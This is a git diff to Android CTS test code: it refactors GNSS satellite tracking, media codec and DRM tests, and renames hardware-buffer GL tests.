diff --git a/tests/tests/location/src/android/location/cts/GnssStatusTest.java b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
index 003d969..1f7ffa4 100644
--- a/tests/tests/location/src/android/location/cts/GnssStatusTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
@@ -8,7 +8,6 @@
private static final String TAG = "GnssStatusTest";
private static final int LOCATION_TO_COLLECT_COUNT = 1;
private static final int STATUS_TO_COLLECT_COUNT = 3;
- private static final int YEAR_2018 = 2018;
@Override
protected void setUp() throws Exception {
@@ -108,7 +107,7 @@
TestMeasurementUtil.validateSvidSub(softAssert, null,
status.getConstellationType(i),status.getSvid(i));
- // For those function with boolean type return, just simplly call the function
+ // For those function with boolean type return, just simply call the function
// to make sure those function won't crash, also increase the test coverage.
Log.i(TAG, "hasAlmanacData: " + status.hasAlmanacData(i));
Log.i(TAG, "hasEphemerisData: " + status.hasEphemerisData(i));
diff --git a/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java b/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
index 1b8c3c3..3a64c46 100644
--- a/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
+++ b/tests/tests/location/src/android/location/cts/TestGnssMeasurementListener.java
@@ -25,7 +25,6 @@
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
/**
* Used for receiving GPS satellite measurements from the GPS engine.
@@ -39,7 +38,6 @@
// Timeout in sec for count down latch wait
private static final int STATUS_TIMEOUT_IN_SEC = 10;
private static final int MEAS_TIMEOUT_IN_SEC = 60;
- private static final int TOW_DECODED_MEASUREMENT_STATE_BIT = 3;
private static final int C_TO_N0_THRESHOLD_DB_HZ = 18;
private volatile int mStatus = -1;
@@ -89,15 +87,15 @@
HashMap<Integer, Integer> constellationEventCount = new HashMap<>();
GnssClock gnssClock = event.getClock();
if (!gnssClock.hasFullBiasNanos()) {
- // If devices does not have FullBiasNanos yet, it will be difficult to check the quality, so await
- // this flag as well.
+ // If devices does not have FullBiasNanos yet, it will be difficult to check
+ // the quality, so await this flag as well.
return;
}
for (GnssMeasurement gnssMeasurement : event.getMeasurements()){
int constellationType = gnssMeasurement.getConstellationType();
// if the measurement's signal level is too small ignore
if (gnssMeasurement.getCn0DbHz() < C_TO_N0_THRESHOLD_DB_HZ ||
- (gnssMeasurement.getState() & (1L << TOW_DECODED_MEASUREMENT_STATE_BIT)) == 0) {
+ (gnssMeasurement.getState() & GnssMeasurement.STATE_TOW_DECODED) == 0) {
continue;
}
if (constellationEventCount.containsKey(constellationType)) {
diff --git a/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java b/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java
index 38b749f..76c94da 100644
--- a/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java
+++ b/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java
@@ -19,10 +19,9 @@
import android.location.GnssStatus;
import android.util.Log;
-import java.util.ArrayList;
-import java.util.List;
+import java.util.HashSet;
+import java.util.Set;
import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
/**
* Used for receiving notifications when GNSS status has changed.
@@ -30,7 +29,6 @@
class TestGnssStatusCallback extends GnssStatus.Callback {
private final String mTag;
- private volatile boolean mGpsStatusReceived;
private GnssStatus mGnssStatus = null;
// Timeout in sec for count down latch wait
private static final int TIMEOUT_IN_SEC = 90;
@@ -39,8 +37,8 @@
private final CountDownLatch mLatchTtff;
private final CountDownLatch mLatchStop;
- // Store list of Prn for Satellites.
- private List<List<Integer>> mGpsSatellitePrns;
+ // Store list of Satellites including Gnss Band, constellation & SvId
+ private Set<String> mGnssUsedSvStringIds;
TestGnssStatusCallback(String tag, int gpsStatusCountToCollect) {
this.mTag = tag;
@@ -48,7 +46,7 @@
mLatchStatus = new CountDownLatch(gpsStatusCountToCollect);
mLatchTtff = new CountDownLatch(1);
mLatchStop = new CountDownLatch(1);
- mGpsSatellitePrns = new ArrayList<List<Integer>>();
+ mGnssUsedSvStringIds = new HashSet<>();
}
@Override
@@ -73,32 +71,36 @@
public void onSatelliteStatusChanged(GnssStatus status) {
Log.i(mTag, "Gnss Status Listener Received Status Update");
mGnssStatus = status;
+ for (int i = 0; i < status.getSatelliteCount(); i++) {
+ if (!status.usedInFix(i)) {
+ continue;
+ }
+ if (status.hasCarrierFrequencyHz(i)) {
+ mGnssUsedSvStringIds.add(
+ TestMeasurementUtil.getUniqueSvStringId(status.getConstellationType(i),
+ status.getSvid(i), status.getCarrierFrequencyHz(i)));
+ } else {
+ mGnssUsedSvStringIds.add(
+ TestMeasurementUtil.getUniqueSvStringId(status.getConstellationType(i),
+ status.getSvid(i)));
+ }
+ }
mLatchStatus.countDown();
}
/**
- * Returns the list of PRNs (pseudo-random number) for the satellite.
+ * Returns the list of SV String Ids which were used in fix during the collect
*
- * @return list of PRNs number
+ * @return mGnssUsedSvStringIds - Set of SV string Ids
*/
- public List<List<Integer>> getGpsSatellitePrns() {
- return mGpsSatellitePrns;
+ public Set<String> getGnssUsedSvStringIds() {
+ return mGnssUsedSvStringIds;
}
/**
- * Check if GPS Status is received.
+ * Get GNSS Status.
*
- * @return {@code true} if the GPS Status is received and {@code false}
- * if GPS Status is not received.
- */
- public boolean isGpsStatusReceived() {
- return mGpsStatusReceived;
- }
-
- /**
- * Get GPS Status.
- *
- * @return mGpsStatus GPS Status
+ * @return mGnssStatus GNSS Status
*/
public GnssStatus getGnssStatus() {
return mGnssStatus;
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
index c2541d3..7852361 100644
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
@@ -57,6 +57,13 @@
private static final int YEAR_2017 = 2017;
private static final int YEAR_2018 = 2018;
+ private enum GnssBand {
+ GNSS_L1,
+ GNSS_L2,
+ GNSS_L5,
+ GNSS_E6
+ }
+
// The valid Gnss navigation message type as listed in
// android/hardware/libhardware/include/hardware/gps.h
public static final Set<Integer> GNSS_NAVIGATION_MESSAGE_TYPE =
@@ -334,7 +341,6 @@
private static void verifySvid(GnssMeasurement measurement, SoftAssert softAssert,
long timeInNs) {
- String svidLogMessageFormat = "svid: Space Vehicle ID. Constellation type = %s";
int constellationType = measurement.getConstellationType();
int svid = measurement.getSvid();
validateSvidSub(softAssert, timeInNs, constellationType, svid);
@@ -637,7 +643,7 @@
}
}
- private static String getReceivedSvTimeNsLogMessage(String constellationType, String state) {
+ private static String getReceivedSvTimeNsLogMessage(String state, String constellationType) {
return "received_sv_time_ns: Received SV Time-of-Week in ns. Constellation type = "
+ constellationType + ". State = " + state;
}
@@ -700,6 +706,34 @@
}
}
+
+ /**
+ * Get a unique string for the SV including the constellation and the default L1 band.
+ *
+ * @param constellationType Gnss Constellation type
+ * @param svId Gnss Sv Identifier
+ */
+ public static String getUniqueSvStringId(int constellationType, int svId) {
+ return getUniqueSvStringId(constellationType, svId, GnssBand.GNSS_L1);
+ }
+
+ /**
+ * Get a unique string for the SV including the constellation and the band.
+ *
+ * @param constellationType Gnss Constellation type
+ * @param svId Gnss Sv Identifier
+ * @param carrierFrequencyHz Carrier Frequency for Sv in Hz
+ */
+ public static String getUniqueSvStringId(int constellationType, int svId,
+ float carrierFrequencyHz) {
+ return getUniqueSvStringId(constellationType, svId,
+ frequencyToGnssBand(carrierFrequencyHz));
+ }
+
+ private static String getUniqueSvStringId(int constellationType, int svId, GnssBand gnssBand) {
+ return gnssBand.toString() + "." + constellationType + "." + svId;
+ }
+
/**
* Assert all mandatory fields in Gnss Navigation Message are in expected range.
* See mandatory fields in {@code gps.h}.
@@ -788,4 +822,25 @@
return typesStr.length() > 2 ? typesStr.substring(0, typesStr.length() - 2) : "";
}
+
+ /**
+ * The band information is as of 2018, per http://www.navipedia.net/index.php/GNSS_signal
+ * Bands are combined for simplicity as the constellation is also tracked.
+ *
+ * @param frequencyHz Frequency in Hz
+ * @return GnssBand where the frequency lies.
+ */
+ private static GnssBand frequencyToGnssBand(float frequencyHz) {
+ float frequencyMhz = frequencyHz/1e6F;
+ if (frequencyMhz >= 1151 && frequencyMhz <= 1214) {
+ return GnssBand.GNSS_L5;
+ }
+ if (frequencyMhz > 1214 && frequencyMhz <= 1255) {
+ return GnssBand.GNSS_L2;
+ }
+ if (frequencyMhz > 1255 && frequencyMhz <= 1300) {
+ return GnssBand.GNSS_E6;
+ }
+ return GnssBand.GNSS_L1; // default to L1 band
+ }
}
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index 6029327..eca5dd6 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -31,7 +31,7 @@
<uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER" />
<uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER" />
- <application android:usesCleartextTraffic="true">
+ <application android:networkSecurityConfig="@xml/network_security_config">
<uses-library android:name="android.test.runner" />
<uses-library android:name="org.apache.http.legacy" android:required="false" />
diff --git a/tests/tests/media/res/xml/network_security_config.xml b/tests/tests/media/res/xml/network_security_config.xml
new file mode 100644
index 0000000..c15c09c
--- /dev/null
+++ b/tests/tests/media/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<network-security-config>
+ <base-config cleartextTrafficPermitted="true"/>
+</network-security-config>
diff --git a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
index 92c8917..da99a12 100644
--- a/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
+++ b/tests/tests/media/src/android/media/cts/AdaptivePlaybackTest.java
@@ -1238,9 +1238,10 @@
return copy;
}
- public MediaFormat getAdaptiveFormat(int width, int height) {
+ public MediaFormat getAdaptiveFormat(int width, int height, int maxInputSize) {
mAdaptiveFormat.setInteger(MediaFormat.KEY_MAX_WIDTH, width);
mAdaptiveFormat.setInteger(MediaFormat.KEY_MAX_HEIGHT, height);
+ mAdaptiveFormat.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, maxInputSize);
return mAdaptiveFormat;
}
@@ -1248,6 +1249,14 @@
return mFormat.getString(MediaFormat.KEY_MIME);
}
+ public int getMaxInputSize() {
+ return mFormat.getInteger(MediaFormat.KEY_MAX_INPUT_SIZE);
+ }
+
+ public void setMaxInputSize(int maxInputSize) {
+ mFormat.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, maxInputSize);
+ }
+
public int getWidth() {
return mFormat.getInteger(MediaFormat.KEY_WIDTH);
}
@@ -1305,6 +1314,7 @@
}
}
+ int maxInputSize = 0;
ByteBuffer readBuf = ByteBuffer.allocate(2000000);
for (int ix = 0; ix < numFrames; ix++) {
int sampleSize = extractor.readSampleData(readBuf, 0 /* offset */);
@@ -1316,6 +1326,11 @@
for (ByteBuffer csd: csds) {
sampleSize += csd.capacity();
}
+
+ if (maxInputSize < sampleSize) {
+ maxInputSize = sampleSize;
+ }
+
ByteBuffer buf = ByteBuffer.allocate(sampleSize);
for (ByteBuffer csd: csds) {
csd.clear();
@@ -1335,6 +1350,10 @@
}
extractor.release();
testFd.close();
+
+ /* Override MAX_INPUT_SIZE in format, as CSD is being combined
+ * with one of the input buffers */
+ media.setMaxInputSize(maxInputSize);
return media;
}
}
@@ -1587,10 +1606,16 @@
format = c.mediaList[i].getFormat();
} else if (mFormatType == FORMAT_ADAPTIVE_FIRST && c.adaptive) {
format = c.mediaList[i].getAdaptiveFormat(
- c.mediaList[i].getWidth(), c.mediaList[i].getHeight());
+ c.mediaList[i].getWidth(), c.mediaList[i].getHeight(), c.mediaList[i].getMaxInputSize());
+ for (Media media : c.mediaList) {
+ /* get the largest max input size for all media and use that */
+ if (media.getMaxInputSize() > format.getInteger(MediaFormat.KEY_MAX_INPUT_SIZE)) {
+ format.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, media.getMaxInputSize());
+ }
+ }
} else if (mFormatType == FORMAT_ADAPTIVE_LARGEST && c.adaptive) {
/* update adaptive format to max size used */
- format = c.mediaList[i].getAdaptiveFormat(0, 0);
+ format = c.mediaList[i].getAdaptiveFormat(0, 0, 0);
for (Media media : c.mediaList) {
/* get the largest width, and the largest height independently */
if (media.getWidth() > format.getInteger(MediaFormat.KEY_MAX_WIDTH)) {
@@ -1599,6 +1624,9 @@
if (media.getHeight() > format.getInteger(MediaFormat.KEY_MAX_HEIGHT)) {
format.setInteger(MediaFormat.KEY_MAX_HEIGHT, media.getHeight());
}
+ if (media.getMaxInputSize() > format.getInteger(MediaFormat.KEY_MAX_INPUT_SIZE)) {
+ format.setInteger(MediaFormat.KEY_MAX_INPUT_SIZE, media.getMaxInputSize());
+ }
}
}
return format;
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index f0b6e7d..4c46420 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -582,46 +582,6 @@
}
}
- public void testVolumeDndAffectedStream() throws Exception {
- if (mHasVibrator || mSkipRingerTests || !mSupportNotificationPolicyAccess) {
- return;
- }
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), true);
- mAudioManager.setStreamVolume(
- AudioManager.STREAM_SYSTEM, 7, AudioManager.FLAG_ALLOW_RINGER_MODES);
- mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), false);
- // 7 to 0, fail.
- try {
- mAudioManager.setStreamVolume(
- AudioManager.STREAM_SYSTEM, 0, AudioManager.FLAG_ALLOW_RINGER_MODES);
- fail("Apps without notification policy access cannot change ringer mode");
- } catch (SecurityException e) {}
-
- // 7 to 1: success
- mAudioManager.setStreamVolume(
- AudioManager.STREAM_SYSTEM, 1, AudioManager.FLAG_ALLOW_RINGER_MODES);
- assertEquals("setStreamVolume did not change volume",
- 1, mAudioManager.getStreamVolume(AudioManager.STREAM_SYSTEM));
-
- // 0 to non-zero: fail.
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), true);
- mAudioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);
- mAudioManager.setStreamVolume(
- AudioManager.STREAM_SYSTEM, 0, AudioManager.FLAG_ALLOW_RINGER_MODES);
- Utils.toggleNotificationPolicyAccess(
- mContext.getPackageName(), getInstrumentation(), false);
-
- try {
- mAudioManager.setStreamVolume(
- AudioManager.STREAM_SYSTEM, 6, AudioManager.FLAG_ALLOW_RINGER_MODES);
- fail("Apps without notification policy access cannot change ringer mode");
- } catch (SecurityException e) {}
- }
-
public void testVolume() throws Exception {
if (!mSupportNotificationPolicyAccess) {
return;
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index db8cd6a..a4e3a19 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -978,6 +978,9 @@
// re-configure, this time without an input surface
if (VERBOSE) Log.d(TAG, "reconfiguring");
encoder.stop();
+ // Use non-opaque color format for byte buffer mode.
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+ MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
encoder.configure(format, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE);
encoder.start();
if (VERBOSE) Log.d(TAG, "reconfigured");
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
index efb3273..c504c4b 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmClearkeyTest.java
@@ -234,6 +234,10 @@
}
private @NonNull MediaDrm startDrm(final byte[][] clearKeys, final String initDataType, final UUID drmSchemeUuid) {
+ if (!MediaDrm.isCryptoSchemeSupported(drmSchemeUuid)) {
+ throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
+ }
+
new Thread() {
@Override
public void run() {
@@ -365,10 +369,6 @@
mSessionId = null;
if (!scrambled) {
drm = startDrm(clearKeys, initDataType, drmSchemeUuid);
- if (!drm.isCryptoSchemeSupported(drmSchemeUuid)) {
- stopDrm(drm);
- throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
- }
mSessionId = openSession(drm);
}
@@ -618,6 +618,12 @@
}
}
+ if (cannotHandleGetPropertyByteArray(drm)) {
+ Log.i(TAG, "Skipping testGetProperties: byte array properties not implemented "
+ + "on devices launched before P");
+ return;
+ }
+
byte[] bytes = getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY);
if (0 == bytes.length) {
throw new Error("Failed to get property for: " + DEVICEID_PROPERTY_KEY);
@@ -643,6 +649,12 @@
"cenc", CLEARKEY_SCHEME_UUID);
try {
+ if (cannotHandleSetPropertyString(drm)) {
+ Log.i(TAG, "Skipping testSetProperties: set property string not implemented "
+ + "on devices launched before P");
+ return;
+ }
+
// Test setting predefined string property
// - Save the value to be restored later
// - Set the property value
@@ -950,6 +962,30 @@
}
}
+ private boolean cannotHandleGetPropertyByteArray(MediaDrm drm) {
+ boolean apiNotSupported = false;
+ byte[] bytes = new byte[0];
+ try {
+ bytes = drm.getPropertyByteArray(DEVICEID_PROPERTY_KEY);
+ } catch (IllegalArgumentException e) {
+ // Expected exception for invalid key or api not implemented
+ apiNotSupported = true;
+ }
+ return apiNotSupported;
+ }
+
+ private boolean cannotHandleSetPropertyString(MediaDrm drm) {
+ boolean apiNotSupported = false;
+ final byte[] bytes = new byte[0];
+ try {
+ drm.setPropertyString(LISTENER_TEST_SUPPORT_PROPERTY_KEY, "testing");
+ } catch (IllegalArgumentException e) {
+ // Expected exception for invalid key or api not implemented
+ apiNotSupported = true;
+ }
+ return apiNotSupported;
+ }
+
private boolean watchHasNoClearkeySupport() {
if (!MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
if (isWatchDevice()) {
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
index 2bf888f..a4c5c4c 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2DrmTest.java
@@ -100,11 +100,11 @@
// Assets
private static final Uri CENC_AUDIO_URL = Uri.parse(
- "http://storage.googleapis.com/wvmedia/cenc/clearkey/car_cenc-20120827-8c-pssh.mp4");
+ "https://storage.googleapis.com/wvmedia/cenc/clearkey/car_cenc-20120827-8c-pssh.mp4");
private static final Uri CENC_AUDIO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-8c.mp4");
private static final Uri CENC_VIDEO_URL = Uri.parse(
- "http://storage.googleapis.com/wvmedia/cenc/clearkey/car_cenc-20120827-88-pssh.mp4");
+ "https://storage.googleapis.com/wvmedia/cenc/clearkey/car_cenc-20120827-88-pssh.mp4");
private static final Uri CENC_VIDEO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-88.mp4");
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
index 112bd73..c88f34d 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
@@ -123,11 +123,11 @@
// Assets
private static final Uri CENC_AUDIO_URL = Uri.parse(
- "http://storage.googleapis.com/wvmedia/cenc/clearkey/car_cenc-20120827-8c-pssh.mp4");
+ "https://storage.googleapis.com/wvmedia/cenc/clearkey/car_cenc-20120827-8c-pssh.mp4");
private static final Uri CENC_AUDIO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-8c.mp4");
private static final Uri CENC_VIDEO_URL = Uri.parse(
- "http://storage.googleapis.com/wvmedia/cenc/clearkey/car_cenc-20120827-88-pssh.mp4");
+ "https://storage.googleapis.com/wvmedia/cenc/clearkey/car_cenc-20120827-88-pssh.mp4");
private static final Uri CENC_VIDEO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-88.mp4");
diff --git a/tests/tests/media/src/android/media/cts/NativeMediaDrmClearkeyTest.java b/tests/tests/media/src/android/media/cts/NativeMediaDrmClearkeyTest.java
index ae61f5b..b1790b5 100644
--- a/tests/tests/media/src/android/media/cts/NativeMediaDrmClearkeyTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeMediaDrmClearkeyTest.java
@@ -211,6 +211,10 @@
return;
}
+ if (!isCryptoSchemeSupportedNative(uuidByteArray(drmSchemeUuid))) {
+ throw new Error("Crypto scheme is not supported.");
+ }
+
IConnectionStatus connectionStatus = new ConnectionStatus(mContext);
if (!connectionStatus.isAvailable()) {
throw new Error("Network is not available, reason: " +
diff --git a/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java b/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
index c82a96b..20c9d3a 100644
--- a/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
+++ b/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
@@ -64,9 +64,8 @@
protected static final long DEFAULT_DEQUEUE_TIMEOUT_US = 200000;
// Default timeout for MediaEncoderAsync - 30 sec.
protected static final long DEFAULT_ENCODE_TIMEOUT_MS = 30000;
- // Default sync frame interval in frames (zero means allow the encoder to auto-select
- // key frame interval).
- private static final int SYNC_FRAME_INTERVAL = 0;
+ // Default sync frame interval in frames
+ private static final int SYNC_FRAME_INTERVAL = 30;
// Video bitrate type - should be set to OMX_Video_ControlRateConstant from OMX_Video.h
protected static final int VIDEO_ControlRateVariable = 1;
protected static final int VIDEO_ControlRateConstant = 2;
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index 3ef70d8..680b8b7 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -46,26 +46,49 @@
kUseSrgb = 0x2, // Whether to use the sRGB transfer function.
};
-#define FORMAT_CASE(x) case x: return #x; break
+#define FORMAT_CASE(x) case AHARDWAREBUFFER_FORMAT_##x: return #x; break
+#define GL_FORMAT_CASE(x) case x: return #x; break;
const char* AHBFormatAsString(int32_t format) {
switch (format) {
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM);
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_R8G8B8X8_UNORM);
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_R8G8B8_UNORM);
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_R5G6B5_UNORM);
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_R16G16B16A16_FLOAT);
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_R10G10B10A2_UNORM);
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_BLOB);
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_D16_UNORM);
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_D24_UNORM);
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_D24_UNORM_S8_UINT);
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_D32_FLOAT);
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_D32_FLOAT_S8_UINT);
- FORMAT_CASE(AHARDWAREBUFFER_FORMAT_S8_UINT);
+ FORMAT_CASE(R8G8B8A8_UNORM);
+ FORMAT_CASE(R8G8B8X8_UNORM);
+ FORMAT_CASE(R8G8B8_UNORM);
+ FORMAT_CASE(R5G6B5_UNORM);
+ FORMAT_CASE(R16G16B16A16_FLOAT);
+ FORMAT_CASE(R10G10B10A2_UNORM);
+ FORMAT_CASE(BLOB);
+ FORMAT_CASE(D16_UNORM);
+ FORMAT_CASE(D24_UNORM);
+ FORMAT_CASE(D24_UNORM_S8_UINT);
+ FORMAT_CASE(D32_FLOAT);
+ FORMAT_CASE(D32_FLOAT_S8_UINT);
+ FORMAT_CASE(S8_UINT);
+ GL_FORMAT_CASE(GL_RGB8);
+ GL_FORMAT_CASE(GL_RGBA8);
+ GL_FORMAT_CASE(GL_RGB565);
+ GL_FORMAT_CASE(GL_SRGB8_ALPHA8);
+ GL_FORMAT_CASE(GL_RGBA16F);
+ GL_FORMAT_CASE(GL_RGB10_A2);
+ GL_FORMAT_CASE(GL_STENCIL_INDEX8);
+ GL_FORMAT_CASE(GL_DEPTH24_STENCIL8);
}
return "";
}
+std::string GetTestName(const ::testing::TestParamInfo<AHardwareBuffer_Desc>& info) {
+ std::ostringstream name;
+ const char* format_string = AHBFormatAsString(info.param.format);
+ if (strlen(format_string) == 0) {
+ name << info.index;
+ } else {
+ name << format_string;
+ if (info.param.stride & kUseSrgb) {
+ name << "_sRGB";
+ }
+ }
+ return name.str();
+}
+
union IntFloat {
uint32_t i;
float f;
@@ -932,6 +955,11 @@
glEGLImageTargetTexture2DOES(mTexTarget, static_cast<GLeglImageOES>(mEGLImage));
}
}
+ // If the texture does not have mipmaps, set a filter that does not require them.
+ if (!(desc.usage & AHARDWAREBUFFER_USAGE_GPU_MIPMAP_COMPLETE)) {
+ glTexParameteri(mTexTarget, GL_TEXTURE_MAX_LEVEL, 0);
+ glTexParameteri(mTexTarget, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
+ }
ASSERT_EQ(GLenum{GL_NO_ERROR}, glGetError());
}
@@ -1029,7 +1057,7 @@
}
-class AHardwareBufferBlobFormatTest : public AHardwareBufferGLTest {
+class BlobTest : public AHardwareBufferGLTest {
public:
bool SetUpBuffer(const AHardwareBuffer_Desc& desc) override {
if (!HasGLExtension("GL_EXT_external_buffer")) return false;
@@ -1038,7 +1066,7 @@
};
// Verifies that a blob buffer can be used to supply vertex attributes to a shader.
-TEST_P(AHardwareBufferBlobFormatTest, GpuDataBufferVertexBuffer) {
+TEST_P(BlobTest, GpuDataBufferVertexBuffer) {
AHardwareBuffer_Desc desc = GetParam();
desc.width = sizeof kQuadPositions;
desc.usage = AHARDWAREBUFFER_USAGE_GPU_DATA_BUFFER;
@@ -1077,7 +1105,7 @@
}
// Verifies that a blob buffer can be directly accessed from the CPU.
-TEST_P(AHardwareBufferBlobFormatTest, GpuDataBufferCpuWrite) {
+TEST_P(BlobTest, GpuDataBufferCpuWrite) {
AHardwareBuffer_Desc desc = GetParam();
desc.width = sizeof kQuadPositions;
desc.usage = AHARDWAREBUFFER_USAGE_CPU_WRITE_RARELY | AHARDWAREBUFFER_USAGE_GPU_DATA_BUFFER;
@@ -1123,7 +1151,7 @@
}
// Verifies that data written into a blob buffer from the GPU can be read on the CPU.
-TEST_P(AHardwareBufferBlobFormatTest, GpuDataBufferCpuRead) {
+TEST_P(BlobTest, GpuDataBufferCpuRead) {
AHardwareBuffer_Desc desc = GetParam();
desc.width = sizeof kQuadPositions;
desc.usage = AHARDWAREBUFFER_USAGE_CPU_READ_RARELY | AHARDWAREBUFFER_USAGE_GPU_DATA_BUFFER;
@@ -1167,13 +1195,13 @@
// The first case tests an ordinary GL buffer, while the second one tests an AHB-backed buffer.
INSTANTIATE_TEST_CASE_P(
- BlobBuffer,
- AHardwareBufferBlobFormatTest,
+ Blob, BlobTest,
::testing::Values(
- AHardwareBuffer_Desc{1, 1, 1, AHARDWAREBUFFER_FORMAT_BLOB, 0, 0, 0, 0}));
+ AHardwareBuffer_Desc{1, 1, 1, AHARDWAREBUFFER_FORMAT_BLOB, 0, 0, 0, 0}),
+ &GetTestName);
-class AHardwareBufferColorFormatTest : public AHardwareBufferGLTest {
+class ColorTest : public AHardwareBufferGLTest {
public:
bool SetUpBuffer(const AHardwareBuffer_Desc& desc) override {
if ((desc.usage & AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT) &&
@@ -1188,7 +1216,7 @@
// Verify that when allocating an AHardwareBuffer succeeds with GPU_COLOR_OUTPUT,
// it can be bound as a framebuffer attachment, glClear'ed and then read from
// another context using glReadPixels.
-TEST_P(AHardwareBufferColorFormatTest, GpuColorOutputIsRenderable) {
+TEST_P(ColorTest, GpuColorOutputIsRenderable) {
AHardwareBuffer_Desc desc = GetParam();
desc.width = 100;
desc.height = 100;
@@ -1218,7 +1246,7 @@
}
// Verifies that the content of GPU_COLOR_OUTPUT buffers can be read on the CPU.
-TEST_P(AHardwareBufferColorFormatTest, GpuColorOutputCpuRead) {
+TEST_P(ColorTest, GpuColorOutputCpuRead) {
AHardwareBuffer_Desc desc = GetParam();
desc.width = 10;
desc.height = 10;
@@ -1313,7 +1341,7 @@
// Verify that when allocating an AHardwareBuffer succeeds with GPU_SAMPLED_IMAGE,
// it can be bound as a texture, set to a color with glTexSubImage2D and sampled
// from in a fragment shader.
-TEST_P(AHardwareBufferColorFormatTest, GpuSampledImageCanBeSampled) {
+TEST_P(ColorTest, GpuSampledImageCanBeSampled) {
AHardwareBuffer_Desc desc = GetParam();
desc.usage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
if (!SetUpBuffer(desc)) return;
@@ -1359,7 +1387,7 @@
// Verify that buffers which have both GPU_SAMPLED_IMAGE and GPU_COLOR_OUTPUT
// can be both rendered and sampled as a texture.
